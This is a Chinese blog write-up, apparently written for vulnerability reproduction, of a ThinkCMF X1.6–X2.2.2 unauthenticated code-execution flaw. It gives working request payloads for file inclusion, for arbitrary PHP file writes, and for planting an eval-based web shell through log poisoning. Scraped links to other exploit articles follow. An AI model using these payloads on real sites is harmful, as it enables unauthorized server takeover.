ThinkCMF简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时是如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本
漏洞介绍
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
环境搭建
https://wwi.lanzoui.com/iH9Hwpoen4f

将下载好的ThinkCMF解压后放在WWW目录下,然后浏览器访问即可看到安装页面

安装好之后访问页面为访问主页

漏洞分析
首先打开index.php文件,查看程序的项目路径,可以看到项目路径在application目录下

在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开,可以知道继承了HomebaseController,通过gma参数指定分组模块方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法

可以看的的public方法里就有display()、fetch(),还有方法作用及参数含义
display函数 (可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配) 的作用是加载模板和页面输出,所对应的参数为:templateFile为模板文件地址,charset模板字符集,contentType输出类型,content输出内容

templateFile参数会经过parseTemplate()方法处理
在application/Common/Controller/AdminbaseController.class.php的parseTemplate()方法如下

parseTemplate()方法作用:判断模板主题是否存在,当模板主题不存在时会在当前目录下开始查找,形成文件包含
构造的payload为 :index.php?a=display&templateFile=README.md

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可

漏洞复现
1.通过构造a参数的display()方法,实现任意内容包含漏洞

?a=display&templateFile=README.md

2.通过构造a参数的fetch()方法,在不需要知道文件路径的情况下就可以实现任意文件写入
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php>
执行paylaod,如果页面是空白的,则说明可能写入成功

3.访问写入的文件1.php,发现成功写入文件

ThinkCMF缓存getshell
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

有两种方式可以getshell
第一种方法

?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?>

发送请求,thinkphp生成的日志的格式为 年-月份-日期 (请求的日期)

http://domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

可以看到已经成功创建了shell.php文件

然后使用菜刀链接

ThinkCMF框架任意内容包含漏洞相关推荐

  1. minify php,ThinkSNS public/minify.php 任意文件包含漏洞

    ## 漏洞信息: ThinkSNS开源微博系统,是智士的开源社交平台.采用PHP+MySQL技术平台,微博+应用的产品模式,同时拥有iphone.android客户端.wap.3G版界面. Think ...

  2. 任意文件包含漏洞(1)

    目录 原理 分类 危害 包含的函数 本地文件包含 远程文件包含 利用方式 无文件包含方法 有文件包含方法 1.伪协议 1.data 2.php://input 3.zip://伪协议 首先要说明的一点 ...

  3. thinkphp日志泄漏漏洞_ThinkPHP框架任意代码执行漏洞的利用及其修复方法

    ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2 ...

  4. kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞

    发布时间:2013-04-08  关键词:kesioncms 漏洞 漏洞版本:kesioncms(科讯cms) 6.x - 8.x 漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器 漏 ...

  5. php任意文件引入漏洞,PHP:ThinkCMFX任意文件包含漏洞

    前言:最近爆出来的漏洞,ThinkCmfX版本应该是通杀的,基于3.X Thinkphp开发的 代码下载地址:https://gitee.com/thinkcmf/ThinkCMFX/releases ...

  6. ThinkCMF任意文件写入漏洞----学习记录

    ThinkCMF框架任意文件写入漏洞 一.ThinkCMF介绍: ThinkCMF是一款基于ThinkPHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管 ...

  7. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  8. 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞

    文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...

  9. mysql 多字节编码漏洞_phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...

最新文章

  1. 这只「蚂蚁」能拍照!普林斯顿造出微米级相机,个头缩小到50万分之一
  2. python的_thread模块来实现多线程(python核心编程例子)
  3. jquery ajax 删除数据,JQuery ajax 保存数据,删除数据
  4. RPM方式安装MySQL5.6和windows下安装mysql解压版
  5. FactoryBean 源码
  6. Pytorch中参数和模型的保存与读取
  7. Layer弹出层关闭后刷新父页面
  8. Tyvj P1029 牛棚回声
  9. Java中正则表达式提取字符串
  10. 实现视频播放器倍速、清晰度切换、m3u8下载功能
  11. 微软开放必应搜索引擎核心算法
  12. 【小家java】java8新特性(简述十大新特性) 饱受赞誉
  13. Java对接海康威视明眸门禁设备
  14. 诺基亚N9—刷机教程
  15. 使用three.js创建粒子火焰效果
  16. 移动硬盘插服务器上坏了,移动硬盘接口坏了怎么办解决教程
  17. python多项式拟合_python中的多元(多项式)最佳拟合曲线?
  18. java 根据拼音查询汉字_java根据拼音搜索,但数据库为汉字的解决方案
  19. pytorch 统计模型参数个数
  20. (完结)Unity游戏开发——新发教你做游戏(七):Animator控制角色动画播放

热门文章

  1. c语言李白喝酒答案,李白嗜酒文言文答案
  2. L1-054 福到了 (15分)(C语言)
  3. 小米电视android刷机,小米电视怎么刷机?小米电视刷第三方系统固件下载
  4. 32款网页设计和网页开发人员常用的Google chrome浏览器扩展程序
  5. Nvidia 视频处理框架----1. VideoProcessingFramework 介绍和安装
  6. win7u盘内容在计算机右侧,帮您恢复win7系统取消插入U盘后计算机窗口右侧显示U盘内容的技巧介绍...
  7. 基金基本信息列表 API 数据接口
  8. HDU - 相遇周期(gcd,lcm)
  9. vscode 设置自动换行
  10. 拥有一台服务器能干些什么呢